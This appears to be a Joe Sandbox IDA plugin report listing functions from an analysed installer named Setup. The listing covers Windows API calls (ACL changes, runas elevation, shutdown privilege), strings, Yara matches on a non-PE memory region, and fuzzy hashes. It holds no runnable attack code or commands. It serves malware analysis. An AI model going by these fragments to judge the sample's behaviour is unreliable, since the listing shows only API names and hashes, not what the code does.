Function 0045F664 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 182libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 0045F67E
GetModuleHandleA.KERNEL32(advapi32.dll), ref: 0045F69E
GetProcAddress.KERNEL32(00000000,GetNamedSecurityInfoW), ref: 0045F6AB
GetProcAddress.KERNEL32(00000000,SetNamedSecurityInfoW), ref: 0045F6B8
GetProcAddress.KERNEL32(00000000,SetEntriesInAclW), ref: 0045F6C6

Part of subcall function 0045F570: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0045F60F,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045F5E9

AllocateAndInitializeSid.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045F8B9,?,?,00000000), ref: 0045F77F
GetLastError.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045F8B9,?,?,00000000), ref: 0045F788

Strings

SetEntriesInAclW, xrefs: 0045F6C0
W, xrefs: 0045F796
advapi32.dll, xrefs: 0045F699
SetNamedSecurityInfoW, xrefs: 0045F6B2
GetNamedSecurityInfoW, xrefs: 0045F6A5

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$AllocateByteCharErrorHandleInitializeLastModuleMultiVersionWide
String ID: GetNamedSecurityInfoW$SetEntriesInAclW$SetNamedSecurityInfoW$W$advapi32.dll
API String ID: 59345061-4263478283
Opcode ID: eb6b88a4685d168de10566d38f743c3449aadce9dffa6bdaa56cd3775459b43b
Instruction ID: c1888363851aa666782c4b4ea92df85feb8d44bccaf4f610c73b78911a13aee8
Opcode Fuzzy Hash: eb6b88a4685d168de10566d38f743c3449aadce9dffa6bdaa56cd3775459b43b
Instruction Fuzzy Hash: 3A516471D00608AFDB10EF99C841BAEB7B8EF48315F10847AF914E7242D7799949CF6A

Function 0047A6B4 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 0047A520: GetModuleHandleA.KERNEL32(kernel32.dll,GetFinalPathNameByHandleA,?,?,?,?,?,0047A6E4,00000000,0047A802,?,?,-00000010,?), ref: 0047A539
Part of subcall function 0047A520: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0047A53F
Part of subcall function 0047A520: GetFileAttributesA.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,?,?,?,?,?,0047A6E4,00000000,0047A802,?,?,-00000010,?), ref: 0047A552
Part of subcall function 0047A520: CreateFileA.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,?,?,?,?,?), ref: 0047A57C
Part of subcall function 0047A520: CloseHandle.KERNEL32(00000000,?,?,?,?,0047A6E4,00000000,0047A802,?,?,-00000010,?), ref: 0047A59A

Part of subcall function 0047A5F8: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,0047A68A,?,?,?,?,?,0047A6EC,00000000,0047A802,?,?,-00000010,?), ref: 0047A628

ShellExecuteEx.SHELL32(0000003C), ref: 0047A73C
GetLastError.KERNEL32(00000000,0047A802,?,?,-00000010,?), ref: 0047A745
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 0047A792
GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 0047A7B6
CloseHandle.KERNEL32(00000000,0047A7E7,00000000,00000000,000000FF,000000FF,00000000,0047A7E0,?,00000000,0047A802,?,?,-00000010,?), ref: 0047A7DA

Strings

MsgWaitForMultipleObjects, xrefs: 0047A79F
ShellExecuteEx returned hProcess=0, xrefs: 0047A766
<, xrefs: 0047A6FB
runas, xrefs: 0047A709
ShellExecuteEx, xrefs: 0047A756
GetExitCodeProcess, xrefs: 0047A7BF

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Handle$CloseFile$AddressAttributesCodeCreateCurrentDirectoryErrorExecuteExitLastModuleMultipleObjectsProcProcessShellWait
String ID: <$GetExitCodeProcess$MsgWaitForMultipleObjects$ShellExecuteEx$ShellExecuteEx returned hProcess=0$runas
API String ID: 883996979-221126205
Opcode ID: fa73c994f82b0b66a09011f28b970ff30f1275665fa0242af7f9df8b727847f9
Instruction ID: 08647a3159510596e39bfad59ea968fea334fa07285cef212be92f8a48359679
Opcode Fuzzy Hash: fa73c994f82b0b66a09011f28b970ff30f1275665fa0242af7f9df8b727847f9
Instruction Fuzzy Hash: 85314470A00604ABDB14FBE6C841ADEBBB8EB84704F51843BF518E7281D77C9915CB5A

Function 0042276C Relevance: 18.3, APIs: 12, Instructions: 253windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000223,00000000,00000000), ref: 00422900
ShowWindow.USER32(00000000,00000003,?,00000223,00000000,00000000,00000000,00422ACA), ref: 00422910
SendMessageA.USER32(?,00000234,00000000,00000000), ref: 0042297E

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$ShowWindow
String ID:
API String ID: 187340077-0
Opcode ID: 00c53f739117231b68ed8d61b52b4dbba489f0bcef789ab220936d77144343c3
Instruction ID: 86f3864621cf34393e64f178f0fc951c4dbbd705b1410471c534906fd872541e
Opcode Fuzzy Hash: 00c53f739117231b68ed8d61b52b4dbba489f0bcef789ab220936d77144343c3
Instruction Fuzzy Hash: 29915371B04214FFD710EBA9DA85F9E77F4AB15304F6500B6F500AB3A2C6B8AE41DB58

Function 00489204 Relevance: 17.6, Strings: 14, Instructions: 76COMMON

Download Yara Rule

Strings

CancelButton, xrefs: 00489308
ProgressBar, xrefs: 004892CF
StatusLabel, xrefs: 004892BC
MainPanel, xrefs: 0048925D
WizardSmallBitmapImage, xrefs: 00489296
PageDescriptionLabel, xrefs: 00489283
Bevel, xrefs: 004892F5
InstallingPage, xrefs: 0048924A
InnerPage, xrefs: 00489224
Bevel1, xrefs: 004892A9
BeveledLabel, xrefs: 004892E2
InnerNotebook, xrefs: 00489237
PageNameLabel, xrefs: 00489270
OuterNotebook, xrefs: 00489211

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID: Bevel$Bevel1$BeveledLabel$CancelButton$InnerNotebook$InnerPage$InstallingPage$MainPanel$OuterNotebook$PageDescriptionLabel$PageNameLabel$ProgressBar$StatusLabel$WizardSmallBitmapImage
API String ID: 0-4094957626
Opcode ID: d44f71568d3f7f3a51ae6ff8c818825642785e8193ce0cf0c5bac54c8413d11d
Instruction ID: 792473b56602f05c4e7345b22ec86076a1e417c42df0230841b3c92b4aff0d6e
Opcode Fuzzy Hash: d44f71568d3f7f3a51ae6ff8c818825642785e8193ce0cf0c5bac54c8413d11d
Instruction Fuzzy Hash: F911E92034CF85136F59357A1CABA7F41419B8AB082A89C7F7517EA7CBC96CED06534C

Function 0045DC7C Relevance: 16.6, APIs: 7, Strings: 2, Instructions: 832COMMON

Download Yara Rule

Strings

utUserDefined:, xrefs: 0045E420
$%x, xrefs: 0045E818

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Directory$CurrentSystem
String ID: $%x$utUserDefined:
API String ID: 1285235121-395859921
Opcode ID: d060818205485f489b1caabf8b656d6b3a9a5f26d70329efdd406d555045b4e8
Instruction ID: 3effd0c8ce15df4630ab89fa8cf87a021a1a99c93a5fe508429451e3185618db
Opcode Fuzzy Hash: d060818205485f489b1caabf8b656d6b3a9a5f26d70329efdd406d555045b4e8
Instruction Fuzzy Hash: 1E725130A042199FDB24DF65C885B9DB7B5BF05305F1480EAE848A7393DB789E89CF19

Function 0047316C Relevance: 14.9, APIs: 4, Strings: 4, Instructions: 931COMMON

Download Yara Rule

Strings

04E, xrefs: 00473ABE, 00473B56
, xrefs: 00473693, 00473864, 004738E2
.tmp, xrefs: 00473A7B
@, xrefs: 00473274

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID: $.tmp$04E$@
API String ID: 0-2329502860
Opcode ID: 954bc2403ef54e62b5029e748c485e13f2a3450b709f2eaaef5e68f0b1327a30
Instruction ID: ed31f78920438f2a7fb65a92700cd5e70addf49c34c7b175888517d051b10f3f
Opcode Fuzzy Hash: 954bc2403ef54e62b5029e748c485e13f2a3450b709f2eaaef5e68f0b1327a30
Instruction Fuzzy Hash: 30929270A0428C9FCB11DFA5C881BDDBBB5AF45305F1480ABE848B7392D7789E49DB19

Function 00418310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0041831F
GetWindowPlacement.USER32(?,0000002C), ref: 0041833C
GetWindowRect.USER32(?), ref: 00418358
GetWindowLongA.USER32(?,000000F0), ref: 00418366
GetWindowLongA.USER32(?,000000F8), ref: 0041837B
ScreenToClient.USER32(00000000), ref: 00418384
ScreenToClient.USER32(00000000,?), ref: 0041838F

Strings

,, xrefs: 00418328

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$ClientLongScreen$IconicPlacementRect
String ID: ,
API String ID: 2266315723-3772416878
Opcode ID: 60df544bab9163801050bed0f74c23d4ba938e7c76bdeea45d98a3f8fca3c4c4
Instruction ID: fdad3e8e230b81f5b608df53eb8fa89812586caac1c0e19ca2c92854c0b3fca0
Opcode Fuzzy Hash: 60df544bab9163801050bed0f74c23d4ba938e7c76bdeea45d98a3f8fca3c4c4
Instruction Fuzzy Hash: F4112E71505201ABDB00DF69C885F9B77D8AF48314F080A7EBE58DB286C739D900CB6A

Function 00469E70 Relevance: 13.9, APIs: 4, Strings: 3, Instructions: 1649windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00498614: GetWindowRect.USER32(00000000), ref: 0049862A

LoadBitmapA.USER32(00400000,STOPIMAGE), ref: 0046A23F

Part of subcall function 0041D630: GetObjectA.GDI32(?,00000018,0046A259), ref: 0041D65B

Part of subcall function 00469C4C: SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00469CEF
Part of subcall function 00469C4C: ExtractIconA.SHELL32(00400000,00000000,?), ref: 00469D15
Part of subcall function 00469C4C: ExtractIconA.SHELL32(00400000,00000000,00000027), ref: 00469D6C

Part of subcall function 0042EA48: GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0042EAB8

Part of subcall function 00498564: 73E9A570.USER32(00000000,?,?,?), ref: 00498586
Part of subcall function 00498564: SelectObject.GDI32(?,00000000), ref: 004985AC
Part of subcall function 00498564: 73E9A480.USER32(00000000,?,0049860A,00498603,?,00000000,?,?,?), ref: 004985FD

Part of subcall function 00498884: MulDiv.KERNEL32(0000004B,?,00000006), ref: 0049888E

Part of subcall function 00498894: MulDiv.KERNEL32(0000000D,?,0000000D), ref: 0049889E

GetSystemMenu.USER32(00000000,00000000,0000000C,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,?,?,00000000,?), ref: 0046AECC
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 0046AEE1
AppendMenuA.USER32(?,00000000,0000270F,00000000), ref: 0046AEFC

Part of subcall function 00429F58: SendMessageA.USER32(00000000,0000014E,00000000,00000000), ref: 00429F6E

Strings

, xrefs: 0046A301
STOPIMAGE, xrefs: 0046A234
(Default), xrefs: 0046B4E5

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Menu$AppendExtractIconObject$A480A570AddressBitmapFileInfoLoadMessageProcRectSelectSendSystemWindow
String ID: $(Default)$STOPIMAGE
API String ID: 2685095364-770201673
Opcode ID: ca609404addafe92bf67be3f1c5d1cecbf57b2cf2042c6fd6fa3d65c823e275f
Instruction ID: 6486dc6287504aaec62628b4fcffe6c7af84ecde07dcedac6f28514db7e220b3
Opcode Fuzzy Hash: ca609404addafe92bf67be3f1c5d1cecbf57b2cf2042c6fd6fa3d65c823e275f
Instruction Fuzzy Hash: 09F216786005109FCB00EB69D5D9F9933F5FF49308F1582B6E5049B36AD778AC4ACB8A

Function 0045806C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 00458081
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 00458087
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 004580A0
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 004580C7
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 004580CC
ExitWindowsEx.USER32(00000002,00000000), ref: 004580DB

Strings

SeShutdownPrivilege, xrefs: 00458099

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 37ab501eb7d03b6a414224beea563cfd4702814db78286421334329dbb1e114c
Instruction ID: ffda4b103128c391aa018ea7bd8190c91691afcdbe36952159719bfe1e8fccb2
Opcode Fuzzy Hash: 37ab501eb7d03b6a414224beea563cfd4702814db78286421334329dbb1e114c
Instruction Fuzzy Hash: 28F0A4706457027AE620B6718C46F5B32CC9B40B59F11493EBE06FA1C3EE7DC80C8A7A

Function 0315350F Relevance: 11.8, Strings: 9, Instructions: 564COMMON

Download Yara Rule

Strings

h, xrefs: 031538EE
Z, xrefs: 031537C4
T, xrefs: 03153B60
', xrefs: 0315398F
(, xrefs: 03153AB3
0, xrefs: 03153AB8
C, xrefs: 0315351D
x, xrefs: 03153B5B
C, xrefs: 03153ABD

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: '$($0$C$C$T$Z$h$x
API String ID: 0-3884181529
Opcode ID: 1fb5339bcef613373104ceb7cb13fdec3c4be84f9abcb0a584b02e1c6bbe66c6
Instruction ID: 089985e784ce48b5d862c3c4711c7e5702a9542c038775e34136bb4b5b15ab34
Opcode Fuzzy Hash: 1fb5339bcef613373104ceb7cb13fdec3c4be84f9abcb0a584b02e1c6bbe66c6
Instruction Fuzzy Hash: 9522A27660D7808BD329DB38C49436EBBD1ABC9260F194E6EE8F9C7381D77485458B43

Function 0049AD48 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 90fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,0049AE86,?,?,00000000,0049E624,?,0049B010,00000000,0049B064,?,?,00000000,0049E624), ref: 0049AD9F
SetFileAttributesA.KERNEL32(00000000,00000010), ref: 0049AE22
FindNextFileA.KERNEL32(000000FF,?,00000000,0049AE5E,?,00000000,?,00000000,0049AE86,?,?,00000000,0049E624,?,0049B010,00000000), ref: 0049AE3A
FindClose.KERNEL32(000000FF,0049AE65,0049AE5E,?,00000000,?,00000000,0049AE86,?,?,00000000,0049E624,?,0049B010,00000000,0049B064), ref: 0049AE58

Strings

isRS-, xrefs: 0049ADBF
isRS-???.tmp, xrefs: 0049AD89

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstNext
String ID: isRS-$isRS-???.tmp
API String ID: 134685335-3422211394
Opcode ID: 07d88df1120b4d860cbfb2ece658d0797253f28e13e5402d94bfd90ce05cb748
Instruction ID: 603ba841841beb4956c0752cfbc226e7804731c7685b3099df7ad20162ae4a9d
Opcode Fuzzy Hash: 07d88df1120b4d860cbfb2ece658d0797253f28e13e5402d94bfd90ce05cb748
Instruction Fuzzy Hash: AB317470A00618AFCF11DF65CC41ADEBBBCDB45718F5044B7A908B32A1EA389E518E99

Function 0314B31A Relevance: 10.4, Strings: 8, Instructions: 387COMMON

Download Yara Rule

Strings

Mi?, xrefs: 0314B4FC
115;, xrefs: 0314B40F, 0314B3BF, 0314B3D0
?i?, xrefs: 0314B4B2
!, xrefs: 0314B651
?<, xrefs: 0314B71A
5, xrefs: 0314B4AB
115;, xrefs: 0314B579
_, xrefs: 0314B559

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: !$115;$115;$5$?<$?i?$Mi?$_
API String ID: 0-2532054263
Opcode ID: 0a96278d3c8a363abbaabbe458023a2e8b3dc6ee13424f45437c937beb2a2224
Instruction ID: 63b5dc43db88784699071aab166763b0e012484c57675df4507d9cca80919b51
Opcode Fuzzy Hash: 0a96278d3c8a363abbaabbe458023a2e8b3dc6ee13424f45437c937beb2a2224
Instruction Fuzzy Hash: 82B1BAB114C3808BE714CF25D851B6BBBE6EF86314F188D1CE4E58B281DB78C50ACB56

Function 0048240C Relevance: 9.4, Strings: 7, Instructions: 603COMMON

Download Yara Rule

Strings

%1 %2, xrefs: 004827A4
CheckPassword, xrefs: 00482661
InitializeSetup, xrefs: 004826ED
NameAndVersion, xrefs: 00482793
CheckSerial, xrefs: 0048268D
Windows NT, xrefs: 004824A8, 004824C6, 004824EA, 00482524
Windows, xrefs: 00482500, 0048253A

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ClassInfoMessageSend
String ID: %1 %2$CheckPassword$CheckSerial$InitializeSetup$NameAndVersion$Windows$Windows NT
API String ID: 1455646776-130722305
Opcode ID: 627d351ae3051ce141249ec938dd8e8832055f09c32075ae0b7319e444d8f040
Instruction ID: 77bec3eba6beb9256f4b5f5dfbaec72801629906a2d6cd6efed49e7e1f4429d1
Opcode Fuzzy Hash: 627d351ae3051ce141249ec938dd8e8832055f09c32075ae0b7319e444d8f040
Instruction Fuzzy Hash: 82427D746002448FDB20EF65D981B9E77B5BB15308F1089BBE804DB362D778AD4ACB5D

Function 004588A8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 112libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetDiskFreeSpaceExA,00000000,004589E7), ref: 004588D8
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004588DE

Strings

GetDiskFreeSpaceExA, xrefs: 004588CE
kernel32.dll, xrefs: 004588D3

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 87ba779e740fa3a244d7be7568d83954afc6349c9e8d9a1fc8d14ac6c1ca76fb
Instruction ID: 75ce1d32b95cbe09cd1308975012d5e66387211e9d12473daa1814087a53fbdb
Opcode Fuzzy Hash: 87ba779e740fa3a244d7be7568d83954afc6349c9e8d9a1fc8d14ac6c1ca76fb
Instruction Fuzzy Hash: 4F417871A04259AFDF01DFE5C8829EEB7B8EF49304F50456AE800F7252DE785D098B69

Function 0047777C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,004778E6,?,?,0049F1C8,00000000), ref: 004777D5
FindNextFileA.KERNEL32(00000000,?,00000000,?,00000000,004778E6,?,?,0049F1C8,00000000), ref: 004778B2
FindClose.KERNEL32(00000000,00000000,?,00000000,?,00000000,004778E6,?,?,0049F1C8,00000000), ref: 004778C0

Strings

unins???.*, xrefs: 004777BF
unins, xrefs: 00477828

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID: unins$unins???.*
API String ID: 3541575487-1009660736
Opcode ID: 60836cbe79e9ae0850a3dd52d0926ee795c9b10ff62a2639fe7ec5b72b4de3ce
Instruction ID: bf48a70f8078c7077550790dab0bc6a62d6903bb5d055d97b7bb7c89c67fb7fe
Opcode Fuzzy Hash: 60836cbe79e9ae0850a3dd52d0926ee795c9b10ff62a2639fe7ec5b72b4de3ce
Instruction Fuzzy Hash: AF3152746041089BDB10EB65CC85BDEB7A9DF45308F9184B6E40CAB3A2DB389F41DB59

Function 00417C5C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417C9B
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417CB9
GetWindowPlacement.USER32(?,0000002C), ref: 00417CEF
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D16

Strings

,, xrefs: 00417CDD

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID: ,
API String ID: 568898626-3772416878
Opcode ID: c909d4d8a29756cb0468cee971721a8db476b25e232a2c9404248e0530e23fce
Instruction ID: 579aa039eb9457a520714e601d3bc09883713d589f4a8945bf7a43597d35a9d3
Opcode Fuzzy Hash: c909d4d8a29756cb0468cee971721a8db476b25e232a2c9404248e0530e23fce
Instruction Fuzzy Hash: 4D213E71604208ABDF10DF69D8C0ADA77A8AF48314F15456AFD18DF346D738E984CBA8

Function 0314E715 Relevance: 7.6, Strings: 6, Instructions: 149COMMON

Download Yara Rule

Strings

23,, xrefs: 0314E89F
hi, xrefs: 0314E765
+E-G, xrefs: 0314E71D
vMnO, xrefs: 0314E72D
7U0W, xrefs: 0314E73D
!I/K, xrefs: 0314E725

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

